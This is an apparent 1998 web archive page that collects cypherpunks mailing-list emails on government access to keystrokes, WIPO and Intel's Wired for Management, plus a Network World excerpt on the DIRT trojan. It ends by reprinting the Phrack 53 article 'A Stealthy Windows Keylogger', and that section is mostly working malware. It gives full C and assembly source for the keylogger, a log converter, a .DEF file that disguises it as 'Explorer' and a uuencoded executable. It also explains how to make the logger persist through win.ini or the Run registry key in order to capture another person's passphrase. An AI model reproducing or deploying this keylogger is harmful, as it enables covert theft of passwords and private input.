12 July 1998: Add AS message on keystroke logger and program

9 July 1998: Add Network World excerpt

8 July 1998: Add DE message; add Anon message; add JY message; add DM message.

6 July 1998

See related NYT editorial which suggests governmental access to keystrokes (pre-encryption) as an alternative to governmental access to encryption keys: http://jya.com/gak-gaks.htm

    Date: Mon, 6 Jul 1998 14:42:46 -0400
    From: Dave Emery <die@pig.die.com>
    To: John Young <jya@pipeline.com>
    Cc: cypherpunks@toad.com
    Subject: Re: Gov Access to Key Strokes

    On Mon, Jul 06, 1998 at 10:46:27AM -0400, John Young wrote:

    > Could this technology to be covertly placed in all keyboards
    > for activation say, by remote control, or via a program/device
    > on the Internet?
    >
    > Recall the various proposals for putting hardware encryption
    > in keyboards, with the possibility of covert GAK.

    	John, I have on occasion mentioned on the net the possibility of
    doing this via secret back doors in Microsoft OS kernels (W98/NT),
    backdoors hidden by encrypted code (and that damn new WIPO treaty) that
    would only be decrypted inside the CPU using a chip key not available to
    the user.  Given passage of WIPO I fully expect such technology to
    become common as a means of copyright protection with very severe
    penalties for those who would chose to peek inside the "technological
    means" or alter it in any way.  And once one has created this secret
    space inside the core OS and protected it by draconian criminal laws, it
    doesn't take much for someone to add a little extra feature in there
    that logs and transmits back to Big Brother user keystrokes or keys used
    with the encryption routines or other such privilaged and private user
    information.  This could be added by the FBI or by Microsoft under
    federal pressure (which they certainly are).   And interfering with or
    disconnecting this nice little brother feature might well be considered
    to be tampering with a "technological means" of copyright protection and
    subject the user to 5 years in prison. Certainly public dissemination of
    tools and information (such as code listings) that would allow access to
    and alteration of this secret space would very likely result in criminal
    prosecution, even if such legal action was not common for individual users.

    	In fact, under WIPO it would already be illegal to just
    disassemble and debug the relevant part of the OS to check to see if
    there was code in there to log and report keystrokes even if it was not
    encrypted or otherwise protected.  And no doubt at all but that the
    rights enforcement software will be encrypted and otherwise protected
    just to make sure that anyone tampering with it or even just examining
    it for security flaws (such as keystroke recorders) would clearly be
    flagrantly violating WIPO in an unambiguous as possible way.

    	What this means is that due to well meaning anti piracy measures
    carried to extremes - WIPO , it is likely to be impossible for a user of
    standard shrink wrapped commercial software to legally vet that software
    to  determine that it does not contain deliberate (courtesy the FBI)
    means to grossly compromise the security of information on his computer
    system.  He will have no legal recourse but to trust the provider of the
    software, as even the analysis required to prove such a deliberate
    security hole exists would be serious federal felonies...

    	One wishes that Congress would see the light and allow
    circumvention of copyright protections for legitimate security analysis
    and audits (and for any purpose which would be construed as fair use
    under copyright law), but so far this hasn't happened.

    --
    	Dave Emery N1PRE,  die@die.com  DIE Consulting, Weston, Mass.
    PGP fingerprint = 2047/4D7B08D1 DE 6E E1 CC 1F 1D 96 E2  5D 27 BD B0 24 88 C3 18

    Date: Tue, 7 Jul 1998 23:20:18 -0400
    From: Dave Emery <die@pig.die.com>
    To: John Young <jya@pipeline.com>
    Subject: Re: GAKS

    On Tue, Jul 07, 1998 at 10:19:34PM -0400, John Young wrote:
    > Dave,
    >
    > There's a noteworthy (global) interest in your remarks
    > about keystrokes which we put on our Web site, in case
    > you're not aware:
    >
    >    http://jya.com-gaks-de.htm
    >
    > Have you gotten feedback?
    >
    	Interestingly John, none at all.  And none has shown up here
    on my feeds of the various lists.  I had in fact wondered if it got
    out at all, since it seemed that someone must have something to say.

    > It's a provocative topic. Anything you'd like to add, or have
    > on hand from earlier postings, please let us know, or post it
    > to cpunks.

    	I have a deep dread that the coming move to implement copyright
    monitors and rights managers in the kernel of MS operating systems  with
    special crypto support from Intel chips will lead to PCs that contain
    very significant black boxes whose contents and real functions and
    capabilities are both legally and technologically hidden from even
    determined and talented independant observers.  And what better place
    to hide a sleeping trojan that could wake up on its masters command
    and spill the beans in encrypted messages back home to the Big one ?

    	I think there is a fundemental need for the deep kernel code
    and security related code in operating systems, chips and other critical
    software components to be at least visible to experts and very
    preferably available in source form for peer review.   But the current
    trend is exactly opposite in the Wintel world, with the real possiblity
    that literally megabytes of complex code will be completely opaque to
    anyone using legal and legitimate means to examine it.

    	This profoundly scares me.  It opens up the possiblity of
    all kinds of perfidous little nasties getting in there, and not all of
    them need be planted by the developers with official consent and blessing
    of Microsoft - black hat bad guys could well sneak stuff in there as
    well if they compromise (probably via the usual Humint techniques) the
    keys used to protect the secret kingdom... and how would one tell....

    > That the Times proposed the concept means that somebody
    > with clout is sending up a trial balloon to get public reaction.
    > Why the Times didn't see it as invasive as GAK, or even more
    > so, is odd. I smell something stinky, maybe the odor of the
    > Times sweaty maneuvering to protect copyright in cahoots
    > with the feds.

    	GAK will never really work, but hidden trojans that you can't
    know about or disconnect are a harder thing to work around. It's
    easy to buy the unescrowed crypto on the black market, but if Wintel
    architecture is sealed tight by law and technology, you will have very
    little choice but to install the trojans or do without all the
    myriad of Wintel applications.  And few people in the mainline target
    group will want to put up with the limitations of GNU and Linux,
    presuming that the WINTEL boys allow the Linux developers access to
    the required intellectual property and hooks for Linux to run at
    all on the new generations of hardware.

    > Got any idea who's working on implementing the concept,
    > and what might be done to counter it?

            Sunlight.  No idea of who is doing this stuff, or floating trial
    balloons either...

    > Maybe we can get a campaign going to flush out the
    > fox. Along with taking a whack at WIPO.
    >
    > John

    --
    	Dave Emery N1PRE,  die@die.com  DIE Consulting, Weston, Mass.
    PGP fingerprint = 2047/4D7B08D1 DE 6E E1 CC 1F 1D 96 E2  5D 27 BD B0 24 88 C3 18

    From: Anonymous
    To: die@pig.die.com
    Cc: jy@jya.com
    Subject: Intel plans for world domination
    Date: Wed, 8 Jul 1998 10:51:04 -0500

    Good afternoon gentlemen,

    I've been reading the correspondence on the possibility of govt
    keystroke access with some interest. I'm in a slightly odd position as
    I'm responsible for security in one of the larger wintel companies. As
    such I've been getting quite a feeling of deja vu reading your mails.
    Intel and others are moving in exactly this direction with a number of
    initiatives, most notably the PC98, PCXX, and "Wired For Management".
    WfM in particular is very scary - one of the components is a facility
    for PC's to download and run digitally signed software before the OS is
    booted - between "the end of BIOS initialisation and when control is
    transferred to a high-level OS" in the words of one Intel document. The
    code is verified by routines embedded in the BIOS and will allegedly use
    some subset of X.509v3 and PKCS#1.

    As so often happens in circumstances like this I can't risk passing
    documents directly as I can't be sure of their provenance - I really
    have no idea which ones are now considered trade secrets and which have
    been made public. Instead I recommend you have a look at the Intel WfM
    site http://www.intel.com/ial/wfm/ with particular reference to the
    "Pre-Boot Execution Environment" (PXE) and "System Management BIOS"
    (SMBIOS). The Microsoft pc98 site is at

    http://www.microsoft.com/hwdev/pc98.htm and the Intel one at

    http://developer.intel.com/design/pc98/.

    Date: Wed, 08 Jul 1998 11:42:45 -0400
    To: cypherpunks@toad.com
    From: John Young <jya@pipeline.com>
    Subject: Covert Access to Data and ID

    Dave Emery's remarks on government access to
    keystrokes (proposed by the NYT as an alternative
    to GAK) points to the probable increase of intrusive
    devices to counter increasing use of encryption
    and other privacy and anonymity measures.

    This topic comes up here now and then, with
    mentions of a slew of methods to protect privacy of
    data during transmission or storage. But the possibility
    of logging the initial creation or manipulation of data is
    not as often discussed, nor how to tie a person to
    the data, as now being asked in legal and law
    enforcement fora to identify, catch, convict and
    jail computer culprits.

    That the NYT floated the idea surely means someone
    is testing public response to an idea that seems to
    be more intrusive than GAK: the logging of initial
    data and any manipulation of it, prior to encrypting,
    and maybe including a means to link the actions to
    the user.

    If this logging (and related retrieval) is done covertly,
    encryption could thereby become a falsely reassuring
    cloak of privacy.

    Dave thinks devices like these are surely in the works,
    and he can say more about their sponsors, technologies
    and implementations.

    One driving force, as he previously noted, is the desire
    for devices to assure copyright protection, backed by the
    WIPO treaty, which now being considered for approval.
    See the House report on it at:

       http://jya.com/hr105-551.txt  (141K)

    And the EFF and ACLU opposition to the bill:

       http://jya.com/hr2281-opp.htm

    Other forces, though, are employers who want to snoop,
    law enforcement, government, marketers, actually the
    same groups who dislike privacy protection measures,
    but often prefer to snoop covertly while loudly proclaiming
    support for privacy.

    Thus, the more general question Dave has raised is how
    widespread is the development and implementation of
    technolgies for covert surveillance on the Web and in
    desktop boxes -- happily spreading quietly while attention
    is focussed on the very encryption which it will circumvent?

    And what are these devices, or what might they be, what
    might be countermeasures and who might be working for
    and against them. SDA must have insights to share.

    Over to Dave Emery and those more knowledgeable.

    For those who missed his earlier message we've put it, with a
    follow-up at:

       http://jya.com/gaks-de.htm

    Date: Wed, 08 Jul 1998 13:06:01 -0700
    From: David Miller <dm0@avana.net>
    To: jya@pipeline.com
    Subject: DIRT

    Relating to something you recently mentioned:

    There's an article on page 37 of the July 6, 1998 issue of
    NetworkWorld about a new software product for Windows machines
    that is basically a trojan horse that allows access to all
    keystrokes and files on a system from a remote "America's
    Most Wanted"-type HQ.  I can't find the article online
    at www.networkworld.com, but you can go the the company's
    site at http://www.thecodex.com/dirt.html to see it.  Sale
    of DIRT is "restricted to military, government, and law
    enforcement agencies", the article says.

    [Added by JY, thanks to MS:]

    From Network World, 7/6/98
    Winn Schwartau

    "DIRT operates surreptitiously as a Trojan Horse. It is transmitted secretly
    to a target via email in several ways, including as a proprietary protocol,
    self-extracting executable, dummy segment fault, hidden zip file, or macro.

    Once the DIRT bug is successfully embedded in the target machine, two things
    occur. First, all keystrokes made at the target's keyboard are captured
    secretly. When the machine is connected online, it will stealthily transmit
    captured keystrokes to a remotely located DIRT-Control Central for analysis.
    This is how encryption keys are discovered and later used to develop
    evidence in criminal cases.

    Second, when the target machine is online, it will invisibly behave like an
    anonymous File Transfer Protocol (FTP) server, giving the folks at
    DIRT-Control Center 100% access to all resources on a targeted computer."

    Mr. Schwartau is CEO of The Security Experts, Inc. and president of
    Infowar.com. He can be reached at winn@infowar.com

    From: Adam Shostack <adam@homeport.org>
    Subject: Stealth Key Loggers
    To: cypherpunks@cyberpass.net (Cypherpunks Mailing List)
    Date: Sun, 12 Jul 1998 03:49:39 -0400 (EDT)

    So I said it would be easy.  I said there would be tools out there
    that could be modified.  I didn't expect that one would be in Phrack
    53, now available from www.phrack.com

    "A Stealthy Windows Keylogger" article and code by markj8@usa.net

    --
    "It is seldom that liberty of any kind is lost all at once."
    					               -Hume

    [From Phrack's Web site:]

    ---[  Phrack Magazine   Volume 8, Issue 53 July 8, 1998, article 07 of 15

    -------------------------[  A Stealthy Windows Keylogger

    --------[  markj8@usa.net

        I recently felt the need to acquire some data being typed into Windows95
    machines on a small TCP-IP network.  I had occasional physical access to the
    machines and I knew the remote administration password, but the files were
    being saved in BestCryptNP volumes, the passphrase for which I didn't know...

        I searched the Net as best I could for a suitable keylogging program that
    would allow me to capture the passphrase without being noticed, but all I
    could find was I big boggy thing written in visual basic that insisted on
    opening a window.  I decided to write my own.  I wanted to write it as a VXD
    because they run at Privilege Level 0 and can do just about ANYTHING.  I soon
    gave up on this idea because I couldn't acquire the correct tools and certainly
    couldn't afford to buy them.

        While browsing through the computer section of my local public library one
    day I noticed a rather thin book called "WINDOWS ASSEMBLY LANGUAGE and SYSTEMS
    PROGRAMMING" by Barry Kauler, (ISBN 0 13 020207 X) c 1993.  A quick flick
    through the Table of Contents revealed "Chapter 10: Real-Time Events, Enhanced
    Mode Hardware Interrupts".  I immediately borrowed the book and photocopied
    it (Sorry about the royalties Barry).  As I read chapter 10 I realized that
    all I needed was a small 16 bit Windows program running as a normal user
    process to capture every keystroke typed into windows.  The only caveat was
    that keystrokes typed into DOS boxes wouldn't be captured.  Big deal.  I could
    live without that.  I was stunned to discover that all user programs in Windows
    share a single Interrupt Descriptor Table (IDT).  This implies that if one
    user program patches a vector in the IDT, then all other programs are
    immediately affected.

        The only tool I had for generating windows executables was Borland C Ver
    2.0 which makes small and cute windows 3.0 EXE's, so that's what I used.  I
    have tested it on Windows for Workgroups 3.11, Windows 95 OSR2, and Windows 98
    beta 3.  It will probably work on Windows 3.x as well.

        As supplied, it will create a hidden file in the \WINDOWS\SYSTEM directory
    called POWERX.DLL and record all keystrokes into it using the same encoding
    scheme as Doc Cypher's KEYTRAP3.COM program for DOS.  This means that you can
    use the same conversion program, CONVERT3.C, to convert the raw scancodes in
    the log file to readable ASCII.  I have included a slightly "improved" version
    of CONVERT3.C with a couple of bugs fixed.  I contemplated incorporating the
    functionality of CONVERT3 into W95Klog, but decided that logging scancodes
    was "safer" that logging plain ASCII.  If the log file is larger that 2
    megabytes when the program starts, it will be deleted and re-created with
    length zero.  When you press CTRL-ALT-DEL (in windows95/98) to look at the
    Task List, W95Klog will show up as "Explorer".  You can change this by editing
    the .DEF file and recompiling, or by HEX Editing the .EXE file.  If anyone
    knows how to stop a user program from showing on this list please tell me.

        To cause the target machine to run W95Klog every time it starts Windows
    you can:

      1) Edit win.ini, [windows] section to say run=WHLPFFS.EXE or some such
    confusing name :)   Warning!  This will cause a nasty error message if
    WHLPFFS.EXE can't be found.  This method has the advantage of being able to be
    performed over the network via "remote administration" without the need for
    both computers to be running "remote registry service".

      2) Edit the registry key: (Win95/98)
    `HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run` and create
    a new key called whatever you like with a string value of "WHLPFFS.EXE" or
    whatever.  This is my preferred method because it is less likely to be stumbled
    upon by the average user and windows continues without complaint if the
    executable can't be found.  The log file can be retrieved via the network even
    when it is still open for writing by the logging program.  This is very
    convenient ;).

    <++> EX/win95log/convert.c
    //
    // Convert v3.0
    // Keytrap logfile converter.
    // By dcypher <dcypher@mhv.net>
    // MSVC++1.52 (Or Borland C 1.01, 2.0 ...)
    // Released: 8/8/95
    //
    // Scancodes above 185(0xB9) are converted to "<UK>", UnKnown.
    //

    #include <stdio.h>

    #define MAXKEYS 256
    #define WS 128

    const char *keys[MAXKEYS];

    void main(int argc,char *argv[])
    {
          FILE *stream1;
          FILE *stream2;

     	unsigned int Ldata,Nconvert=0,Yconvert=0;
            char logf_name[100],outf_name[100];

      	//
     	// HERE ARE THE KEY ASSIGNMENTS !!
     	//
     	// You can change them to anything you want.
     	// If any of the key assignments are wrong, please let
     	// me know. I havn't checked all of them, but it looks ok.
     	//
     	//   v--- Scancodes logged by the keytrap TSR
     	//          v--- Converted to the string here

     	keys[1]  = "<uk>";
     	keys[2]  = "1";
     	keys[3]  = "2";
     	keys[4]  = "3";
     	keys[5]  = "4";
     	keys[6]  = "5";
     	keys[7]  = "6";
     	keys[8]  = "7";
    	keys[9]  = "8";
     	keys[10] = "9";
     	keys[11] = "0";
     	keys[12] = "-";
     	keys[13] = "=";
     	keys[14] = "<bsp>";
     	keys[15] = "<tab>";
     	keys[16] = "q";
     	keys[17] = "w";
     	keys[18] = "e";
     	keys[19] = "r";
     	keys[20] = "t";
     	keys[21] = "y";
     	keys[22] = "u";
     	keys[23] = "i";
     	keys[24] = "o";
    	keys[25] = "p";
     	keys[26] = "[";  /* = ^Z  Choke! */
     	keys[27] = "]";
     	keys[28] = "<ret>";
     	keys[29] = "<ctrl>";
     	keys[30] = "a";
     	keys[31] = "s";
     	keys[32] = "d";
     	keys[33] = "f";
     	keys[34] = "g";
     	keys[35] = "h";
     	keys[36] = "j";
     	keys[37] = "k";
     	keys[38] = "l";
     	keys[39] = ";";
     	keys[40] = "'";
     	keys[41] = "`";
     	keys[42] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
     	keys[43] = "\\";           //			 and not converted
     	keys[44] = "z";
     	keys[45] = "x";
     	keys[46] = "c";
     	keys[47] = "v";
     	keys[48] = "b";
     	keys[49] = "n";
     	keys[50] = "m";
     	keys[51] = ",";
     	keys[52] = ".";
     	keys[53] = "/";
     	keys[54] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
     	keys[55] = "*";             // 		   and not converted
     	keys[56] = "<alt>";
     	keys[57] = " ";

     	// now show with shift key
     	// the TSR adds 128 to the scancode to show shift/caps

     	keys[1+WS]  = "[";  /* was "<unknown>" but now fixes ^Z problem */
     	keys[2+WS]  = "!";
     	keys[3+WS]  = "@";
     	keys[4+WS]  = "#";
     	keys[5+WS]  = "$";
     	keys[6+WS]  = "%";
     	keys[7+WS]  = "^";
     	keys[8+WS]  = "&";
    	keys[9+WS]  = "*";
     	keys[10+WS] = "(";
     	keys[11+WS] = ")";
     	keys[12+WS] = "_";
     	keys[13+WS] = "+";
     	keys[14+WS] = "<shift+bsp>";
     	keys[15+WS] = "<shift+tab>";
      	keys[16+WS] = "Q";
     	keys[17+WS] = "W";
     	keys[18+WS] = "E";
     	keys[19+WS] = "R";
     	keys[20+WS] = "T";
     	keys[21+WS] = "Y";
     	keys[22+WS] = "U";
     	keys[23+WS] = "I";
     	keys[24+WS] = "O";
    	keys[25+WS] = "P";
     	keys[26+WS] = "{";
     	keys[27+WS] = "}";
     	keys[28+WS] = "<shift+ret>";
     	keys[29+WS] = "<shift+ctrl>";
     	keys[30+WS] = "A";
     	keys[31+WS] = "S";
     	keys[32+WS] = "D";
     	keys[33+WS] = "F";
     	keys[34+WS] = "G";
     	keys[35+WS] = "H";
     	keys[36+WS] = "J";
     	keys[37+WS] = "K";
     	keys[38+WS] = "L";
     	keys[39+WS] = ":";
     	keys[40+WS] = "\"";
     	keys[41+WS] = "~";
     	keys[42+WS] = "<LEFT SHIFT>"; // left shift - not logged by the tsr
     	keys[43+WS] = "|";            //     	    and not converted
      	keys[44+WS] = "Z";
     	keys[45+WS] = "X";
     	keys[46+WS] = "C";
     	keys[47+WS] = "V";
     	keys[48+WS] = "B";
     	keys[49+WS] = "N";
     	keys[50+WS] = "M";
      	keys[51+WS] = "<";
     	keys[52+WS] = ">";
     	keys[53+WS] = "?";
     	keys[54+WS] = "<RIGHT SHIFT>"; // right shift - not logged by the tsr
     	keys[55+WS] = "<shift+*>";     //			and not converted
     	keys[56+WS] = "<shift+alt>";
     	keys[57+WS] = " ";

         	printf("\n");
     	printf("Convert v3.0\n");
     	// printf("Keytrap logfile converter.\n");
     	// printf("By dcypher <dcypher@mhv.net>\n\n");
     	printf("Usage: CONVERT infile outfile\n");
     	printf("\n");

     	if (argc==3)
     	{
      		strcpy(logf_name,argv[1]);
     		strcpy(outf_name,argv[2]);
     	}

     	else
     	{
          	printf("Enter infile name: ");
                    scanf("%99s",&logf_name);
     		printf("Enter outfile name: ");
                    scanf("%99s",&outf_name);
     		printf("\n");
      	}

    	stream1=fopen(logf_name,"rb");
    	stream2=fopen(outf_name,"a+b");

    	if (stream1==NULL || stream2==NULL)
    	{
    		if (stream1==NULL)
    			printf("Error opening: %s\n\a",logf_name);
    		else
    			printf("Error opening: %s\n\a",outf_name);
    	}

    	else
    	{
    		fseek(stream1,0L,SEEK_SET);
    		printf("Reading data from: %s\n",logf_name);
    		printf("Appending information to..: %s\n",outf_name);

    		while (feof(stream1)==0)
    			{
    				Ldata=fgetc(stream1);

    				if (Ldata>0
    				&& Ldata<186)
    				{
    					if (Ldata==28 || Ldata==28+WS)
    					{
    						fputs(keys[Ldata],stream2);
    						fputc(0x0A,stream2);
    						fputc(0x0D,stream2);
    						Yconvert++;
    					}
    					else
    						fputs(keys[Ldata],stream2);
    						Yconvert++;
    				}
    				else
    				{
    					fputs("<UK>",stream2);
    					Nconvert++;
    				}

    			}
    	}

          fflush(stream2);
    	printf("\n\n");
    	printf("Data converted....: %i\n",Yconvert);
    	printf("Data not converted: %i\n",Nconvert);
    	printf("\n");
    	printf("Closeing  infile: %s\n",logf_name);
    	printf("Closeing outfile: %s\n",outf_name);
          fclose(stream1);
    	fclose(stream2);
    }

    <-->
    <++> EX/win95log/W95Klog.c
    /*
     * W95Klog.C   Windows stealthy keylogging program
     */

    /*
     * This will ONLY compile with BORLANDC V2.0 small model.
     * For other compilers you will have to change newint9()
     * and who knows what else :)
     *
     * Captures ALL interesting keystrokes from WINDOWS applications
     * but NOT from DOS boxes.
     * Tested OK on WFW 3.11, Win95 OSR2 and Win98 Beta 3.
     */

    #include <windows.h>
    #include <string.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <dos.h>

    //#define LOGFILE "~473C96.TMP" //Name of log file in WINDOWS\TEMP
    #define LOGFILE "POWERX.DLL"    //Name of log file in WINDOWS\SYSTEM
    #define LOGMAXSIZE 2097152      //Max size of log file (2Megs)

    #define HIDDEN 2
    #define SEEK_END 2

    #define NEWVECT 018h       // "Unused" int that is used to call old
                               // int 9 keyboard routine.
                               // Was used for ROMBASIC on XT's
                               // Change it if you get a conflict with some
                               //  very odd program.  Try 0f9h.

    /************* Global Variables in DATA SEGment ****************/

    HWND                 hwnd;        // used by newint9()
    unsigned int         offsetint;   // old int 9 offset
    unsigned int         selectorint; // old int 9 selector
    unsigned char        scancode;    // scan code from keyboard

    //WndProc
    char sLogPath[160];
    int  hLogFile;
    long lLogPos;
    char sLogBuf[10];

    //WinMain
    char szAppName[]="Explorer";
    MSG         msg;
    WNDCLASS    wndclass;

    /***************************************************************/

    //
    //__________________________
    void interrupt newint9(void)  //This is the new int 9 (keyboard) code
    	                 // It is a hardware Interrupt Service Routine. (ISR)
    {
    scancode=inportb(0x60);
    if((scancode<0x40)&&(scancode!=0x2a)) {
      if(peekb(0x0040, 0x0017)&0x40) { //if CAPSLOCK is active
        // Now we have to flip UPPER/lower state of A-Z only! 16-25,30-38,44-50
        if(((scancode>15)&&(scancode<26))||((scancode>29)&&(scancode<39))||
                           ((scancode>43)&&(scancode<51)))  //Phew!
          scancode^=128; //bit 7 indicates SHIFT state to CONVERT.C program
        }//if CAPSLOCK
      if(peekb(0x0040, 0x0017)&3)  //if any shift key is pressed...
        scancode^=128;   //bit 7 indicates SHIFT state to CONVERT.C program
      if(scancode==26)   //Nasty ^Z bug in convert program
        scancode=129;    //New code for "["

      //Unlike other Windows functions, an application may call PostMessage
      // at the hardwareinterrupt level. (Thankyou Micr$oft!)
      PostMessage(hwnd, WM_USER, scancode, 0L); //Send scancode to WndProc()
      }//if scancode in range

      asm {  //This is very compiler specific, & kinda ugly!
          pop bp
          pop di
          pop si
          pop ds
          pop es
          pop dx
          pop cx
          pop bx
          pop ax
          int NEWVECT       // Call the original int 9 Keyboard routine
          iret              // and return from interrupt
          }
    }//end newint9

    //This is the "callback" function that handles all messages to our "window"
    //_____________________________________________________________________
    long FAR PASCAL WndProc(HWND hwnd,WORD message,WORD wParam,LONG lParam)
      {

    //asm int 3;         //For Soft-ice debugging
    //asm int 18h;       //For Soft-ice debugging

      switch(message) {
        case WM_CREATE:  // hook the keyboard hardware interupt
          asm {
              pusha
              push es
              push ds
                               // Now get the old INT 9 vector and save it...
              mov al,9
              mov ah,35h       // into ES:BX
              int 21h
              push es
              pop ax
              mov offsetint,bx  // save old vector in data segment
              mov selectorint,ax //     /
              mov dx,OFFSET newint9  // This is an OFFSET in the CODE segment
              push cs
              pop ds            // New vector in DS:DX
              mov al,9
              mov ah,25h
              int 21h           // Set new int 9 vector
              pop ds            // get data seg for this program
              push ds
                                // now hook unused vector
                                //  to call old int 9 routine
              mov dx,offsetint
              mov ax,selectorint
              mov ds,ax
              mov ah,25h
              mov al,NEWVECT
              int 21h
                                // Installation now finished
              pop ds
              pop es
              popa
              } // end of asm

          //Get path to WINDOWS directory
          if(GetWindowsDirectory(sLogPath,150)==0) return 0;

          //Put LOGFILE on end of path
          strcat(sLogPath,"\\SYSTEM\\");
          strcat(sLogPath,LOGFILE);
          do {
            // See if LOGFILE exists
            hLogFile=_lopen(sLogPath,OF_READ);
            if(hLogFile==-1) { // We have to Create it
              hLogFile=_lcreat(sLogPath,HIDDEN);
              if(hLogFile==-1) return 0; //Die quietly if can't create LOGFILE
              }
            _lclose(hLogFile);

            // Now it exists and (hopefully) is hidden....
            hLogFile=_lopen(sLogPath,OF_READWRITE); //Open for business!
            if(hLogFile==-1) return 0; //Die quietly if can't open LOGFILE
            lLogPos=_llseek(hLogFile,0L,SEEK_END); //Seek to the end of the file
            if(lLogPos==-1) return 0; //Die quietly if can't seek to end
            if(lLogPos>LOGMAXSIZE) {  //Let's not fill the harddrive...
              _lclose(hLogFile);
              _chmod(sLogPath,1,0);
              if(unlink(sLogPath)) return 0; //delete or die
              }//if file too big
            } while(lLogPos>LOGMAXSIZE);
          break;

        case WM_USER:        // A scan code....
          *sLogBuf=(char)wParam;
          _write(hLogFile,sLogBuf,1);
          break;

        case WM_ENDSESSION:  // Is windows "restarting" ?
        case WM_DESTROY:     // Or are we being killed  ?
        asm{
            push    dx
            push    ds
            mov     dx,offsetint
            mov     ds,selectorint
            mov     ax,2509h
            int     21h           //point int 09 vector back to old
            pop     ds
            pop     dx
            }
          _lclose(hLogFile);
          PostQuitMessage(0);
          return(0);
        } //end switch

         //This handles all the messages that we don't want to know about
         return DefWindowProc(hwnd,message,wParam,lParam);
         }//end WndProc

    /**********************************************************/
    int PASCAL WinMain (HANDLE hInstance, HANDLE hPrevInstance,
                        LPSTR lpszCmdParam, int nCmdShow)
        {

        if (!hPrevInstance) {  //If there is no previous instance running...
          wndclass.style         = CS_HREDRAW | CS_VREDRAW;
          wndclass.lpfnWndProc   = WndProc; //function that handles messages
                                            // for this window class
          wndclass.cbClsExtra    = 0;
          wndclass.cbWndExtra    = 0;
          wndclass.hInstance     = hInstance;
          wndclass.hIcon         = NULL;
          wndclass.hCursor       = NULL;
          wndclass.hbrBackground = NULL;
          wndclass.lpszClassName = szAppName;

          RegisterClass (&wndclass);

          hwnd = CreateWindow(szAppName,   //Create a window
                      szAppName,           //window caption
                      WS_OVERLAPPEDWINDOW, //window style
                      CW_USEDEFAULT,       //initial x position
                      CW_USEDEFAULT,       //initial y position
                      CW_USEDEFAULT,       //initial x size
                      CW_USEDEFAULT,       //initial y size
                      NULL,                //parent window handle
                      NULL,                //Window Menu handle
                      hInstance,           //program instance handle
                      NULL);               //creation parameters

          //ShowWindow(hwnd,nCmdShow);     //We don't want  no
          //UpdateWindow(hwnd);            // stinking window!

          while (GetMessage(&msg,NULL,0,0)) {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
            }
          }//if no previous instance of this program is running...
        return msg.wParam;  //Program terminates here after falling out
        } //End of WinMain        of the while() loop.
    <-->
    <++> EX/win95log/W95KLOG.DEF
    ;NAME is what shows in CTRL-ALT-DEL Task list... hmmmm
    NAME           Explorer
    DESCRIPTION    'Explorer'
    EXETYPE        WINDOWS
    CODE           PRELOAD FIXED
    DATA           PRELOAD FIXED SHARED
    HEAPSIZE       2048
    STACKSIZE      8096
    <-->
    <++> EX/win95log/W95KLOG.EXE.uue
    begin 600 W95KLOG.EXE
    M35H"`08````$``\`__\``+@`````````0```````````````````````````
    M````````````````````D````+H0``X?M`G-(;@!3,TAD)!4:&ES('!R;V=R
    M86T@;75S="!B92!R=6X@=6YD97(@36EC<F]S;V9T(%=I;F1O=W,N#0HD````
    M````````````3D4%"FT``@```````@,"```(H!\```$````"``(``@`,`$``
    M4`!0`%P`8`#_```````)`````@@!``<``````P(`U05`#=4%!@`F`F$,)@((
    M17AP;&]R97(````!``@```9+15).14P$55-%4@``"$5X<&QO<F5R````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M````````````````````````````````````````````````````````````
    M`````````````````````````````````````````````)K__P``"\!U`^G$
    M`(P&%@")'AP`B38:`(D^&`")%AX`N/__4)K__P``,\`>![\"`;DF`BO/_/.J
    M,\!0FO__``#_-A@`FO__```+P'4#Z8``M`#-&HD6(`")#B(`M##-(:,D`)K_
    M_P``J0$`=`;'!A(`"`#WP@0`=`;'!A0``0",V([`O@(!OP(!Z$X`_S88`/\V
    M&@#_-A8`_S8<`/\V'@#H(0-0Z-`#C-B.P+X"`;\"`>AG`/\6<@#_%G0`_Q9V
    M`+C__U":__\``(I&`K1,S2&P_U#HH0.T3,TAM/^+UXO>.]]T%R:`/_]T#"8X
    M9P%W!B:*9P&+TX/#!NOE.]=T&XO:)H`_`";&!_\&=`<F_U\"!^O')O]7`@?K
    MP,.T`(O7B]X[WW07)H`__W0,)CAG`7(&)HIG`8O3@\,&Z^4[UW0;B]HF@#\`
    M)L8'_P9T!R;_7P('Z\<F_U<"!^O`PU!345(&'E975;W__X[=B^RZ8`#LHC(!
    M@#XR`4!S=X`^,@$J='"X0`".P";V!A<`0'0O@#XR`0]V!X`^,@$:<AR`/C(!
    M'78'@#XR`2=R#H`^,@$K=@R`/C(!,W,%@#8R`8"X0`".P";V!A<``W0%@#8R
    M`8"`/C(!&G4%Q@8R`8'_-A0!:``$H#(!M`!0:@!J`)K__P``75]>'P=:65M8
    MS1C/75]>'P=:65M8SXS8D$55B^P>CMA6BW8,B\8]%@!U`^EE`7<0/0$`=!8]
    M`@!U`^E6`>EZ`3T`!'4#Z30!Z6\!8`8>L`FT-<TA!EB)'C`!H^0!NO__#A^P
    M";0ES2$?'HL6,`&AY`&.V+0EL!C-(1\'81YH1`%HE@":__\```O`=0<STC/`
    MZ3D!:%T`:$0!Z+("@\0$:&8`:$0!Z*8"@\0$'FA$`6H`FO__``"C.`&#/C@!
    M_W4<'FA$`6H"FO__``"C.`&#/C@!_W4',](SP.GP`/\V.`&:__\``!YH1`%J
    M`IK__P``HS@!@SXX`?]U!S/2,\#IRP#_-C@!:@!J`&H"FO__``")%C8!HS0!
    M@SXV`?]U#H,^-`'_=0<STC/`Z:``@SXV`2!\,7\'@SXT`0!V*/\V.`&:__\`
    M`&H`:@%H1`'H?@&#Q`9H1`'H+P)$1`O`=`8STC/`ZVB#/C8!('X#Z3W_=4J#
